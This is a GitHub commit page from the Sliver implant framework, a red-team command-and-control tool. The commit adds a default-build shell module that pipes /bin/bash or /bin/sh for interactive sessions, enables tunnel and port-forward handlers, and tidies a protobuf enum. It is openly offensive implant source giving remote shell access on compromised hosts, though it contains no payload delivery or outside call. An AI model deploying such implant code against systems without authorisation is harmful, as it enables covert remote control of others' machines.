Skip to content

Commit

Permalink
Enable dumb shell and portfwd in default builds
Browse files Browse the repository at this point in the history
  • Loading branch information
moloch-- committed Jun 30, 2021
1 parent c69486c commit 7ec5b83
Show file tree
Hide file tree
Showing 5 changed files with 108 additions and 10 deletions.
5 changes: 0 additions & 5 deletions implant/sliver/handlers/handlers_default.go
Original file line number Diff line number Diff line change
Expand Up @@ -59,11 +59,6 @@ func GetSystemPivotHandlers() map[uint32]PivotHandler {
return map[uint32]PivotHandler{}
}

// GetTunnelHandlers - Not supported
func GetTunnelHandlers() map[uint32]TunnelHandler {
return map[uint32]TunnelHandler{}
}

// GetPivotHandlers - Not supported
func GetPivotHandlers() map[uint32]PivotHandler {
return map[uint32]PivotHandler{}
Expand Down
2 changes: 0 additions & 2 deletions implant/sliver/handlers/tun-handlers.go
Original file line number Diff line number Diff line change
@@ -1,5 +1,3 @@
// +build windows linux darwin

package handlers

/*
Expand Down
102 changes: 102 additions & 0 deletions implant/sliver/shell/shell_default.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
// +build !windows !linux !darwin
package shell

/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/

import (
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"os/exec"
)

var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
)

// Shell - Struct to hold shell related data
type Shell struct {
ID uint64
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
}

// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
return cmd.Start()
}

// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
return pipedShell(tunnelID, command)
}

func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}

var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)

stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
// cmd.Start()

return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}

// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
}

// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}

func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return true
}
6 changes: 3 additions & 3 deletions protobuf/clientpb/client.proto
Original file line number Diff line number Diff line change
Expand Up @@ -304,9 +304,9 @@ message MSFRemoteReq {
}

enum StageProtocol {
TCP = 0;
HTTP = 1;
HTTPS = 2;
TCP = 0;
HTTP = 1;
HTTPS = 2;
}

message StagerListenerReq {
Expand Down
3 changes: 3 additions & 0 deletions server/generate/srcfiles.go
Original file line number Diff line number Diff line change
Expand Up @@ -175,8 +175,11 @@ var (
"encoders/images.go",

"handlers/handlers_default.go",
"handlers/tun-handlers.go",
"handlers/handlers.go",

"shell/shell_default.go",

"hostuuid/uuid_default.go",

"limits/limits.go",
Expand Down

0 comments on commit 7ec5b83

Please sign in to comment.